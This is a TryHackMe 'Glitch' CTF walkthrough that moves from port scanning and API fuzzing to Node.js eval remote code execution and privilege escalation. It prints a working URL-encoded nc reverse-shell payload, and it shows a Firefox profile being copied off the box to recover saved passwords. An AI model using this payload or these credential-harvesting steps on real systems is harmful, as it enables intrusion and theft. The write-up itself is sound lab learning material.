TryHackMe: Glitch
TryHackMe: Glitch by infamous55
Challenge showcasing a web app and simple privilege escalation. Can you find the glitch?
Introudction
This is a simple challenge in which you need to exploit a vulnerable web application and root the machine. It is beginner oriented, some basic JavaScript knowledge would be helpful, but not mandatory. Feedback is always appreciated.
Deploy the machine
Deployed and added to /etc/hosts
:)
╰─⠠⠵ rustscan -a glitch.local --ulimit 10000 -- -sC -sV -oA glitch -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.171.52:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-31 23:42 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
Initiating Ping Scan at 23:42
Scanning 10.10.171.52 [2 ports]
Completed Ping Scan at 23:42, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 23:42
Scanning glitch (10.10.171.52) [1 port]
Discovered open port 80/tcp on 10.10.171.52
Completed Connect Scan at 23:42, 0.03s elapsed (1 total ports)
Initiating Service scan at 23:42
Scanning 1 service on glitch (10.10.171.52)
Completed Service scan at 23:42, 6.06s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.171.52.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 1.61s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.12s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
Nmap scan report for glitch (10.10.171.52)
Host is up, received syn-ack (0.031s latency).
Scanned at 2021-03-31 23:42:03 BST for 8s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: not allowed
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.32 seconds
What is your access token?
Ok, so we have basic page with not much, in the source code we have
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>not allowed</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
height: 100vh;
width: 100%;
background: url('img/glitch.jpg') no-repeat center center / cover;
}
</style>
</head>
<body>
<script>
function getAccess() {
fetch('/api/access')
.then((response) => response.json())
.then((response) => {
console.log(response);
});
}
</script>
</body>
</html>
We can see that we have javascript
function getAcccess
but it does not appear to be called.... Let's open developer tools and in the console tab type getAccess()
.
This spits out a base64 string that we need to decode to get our flag.
token: "[REDACTED]"
What is the content of user.txt?
Still in developer tools under storage
we need to put the decoded value into token
Now refreshing the page we get the below
Looking around we have an /api/items
which we can get with a username/password.
If we try to post to this we get the below message.
╰─○ curl -X POST http://glitch.local/api/items
{"message":"there_is_a_glitch_in_the_matrix"}%
Let's see if we can find arguments for items
to take
╰─○ wfuzz -c -z file,/usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt -X POST --hc 404,400 http://glitch.local/api/items\?FUZZ\=test
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://glitch.local/api/items?FUZZ=test
Total requests: 3132
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000358: 500 10 L 64 W 1081 Ch "cmd"
Total time: 0
Processed Requests: 3132
Filtered Requests: 3131
Requests/sec.: 0
OK, we have cmd
let take a look at the 500
response
╰─○ curl -X POST http://glitch.local/api/items\?cmd\=test
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>ReferenceError: test is not defined<br> at eval (eval at router.post (/var/web/routes/api.js:25:60), <anonymous>:1:1)<br> at router.post (/var/web/routes/api.js:25:60)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at /var/web/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre>
</body>
</html>
OK, so this looks like a nodejs
application.... Looking at eval (eval at router.post
it is trying to pass our argument to eval
, Doing a quick Insert search verb here for nodejs eval rce
I end up at https://medium.com/@sebnemK/node-js-rce-and-a-simple-reverse-shell-ctf-1b2de51c1a44. Using the method from here with our reverse shell urlencoded via burp we get a call back
POST /api/items?cmd=require("child_process").exec("rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E9%2E0%2E38%204444%20%3E%2Ftmp%2Ff") HTTP/1.1
╰─⠠⠵ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.0.38] from (UNKNOWN) [10.10.171.52] 41550
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
user@ubuntu:/var/web$ export TERM=xterm
export TERM=xterm
user@ubuntu:/var/web$ ^Z
[1] + 93639 suspended nc -lvnp 4444
╰─⠠⠵ stty raw -echo; fg
[1] + 93639 continued nc -lvnp 4444
user@ubuntu:/var/web$
We can change to the user
home directory and read our flag
user@ubuntu:/var/web$ cd
user@ubuntu:~$ ls
user.txt
user@ubuntu:~$ cat user.txt
THM{[REDACTED]}
What is the content of root.txt?
Let;s grab a copy of linPEAS and see what we find.
[+] Checking doas.conf
permit v0id as root
[+] Users with console
root:x:0:0:root:/root:/bin/bash
user:x:1000:1000:user:/home/user:/bin/bash
v0id:x:1001:1001:,,,:/home/v0id:/bin/bash
[+] Searching docker files
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket
-rw-r--r-- 1 nobody user 477 Oct 26 1985 /usr/local/lib/node_modules/pm2/node_modules/@pm2/io/docker-compose.yml
Nothing really of any help, doas
requires that we PrivEsc to v0id
first. Digging around I find a .firefox
directory in our home. I copy this off and launch firefox to check for anything juicy.
tar -cvf firefox.tgz .firefox
scp firefox.tgz user@attackbox:
Then
╰─⠠⠵ tar xvf ~/firefox.tgz
╰─⠠⠵ firefox --profile .firefox/b5w4643p.default-release --allow-downgrade
This will launch Firefox
and we can view saved logins/bookmarks etc.
Now we have v0id
's password we can use this together with doas
to get the root flag.
user@ubuntu:~$ su - v0id -c "doas -u root bash -c 'cat /root/root.txt'"
Password:
THM{[REDACTED]}
Done
An interesting room, even though targeted at beginners it is a bit heavy with the api
and firefox
stuff but was fun.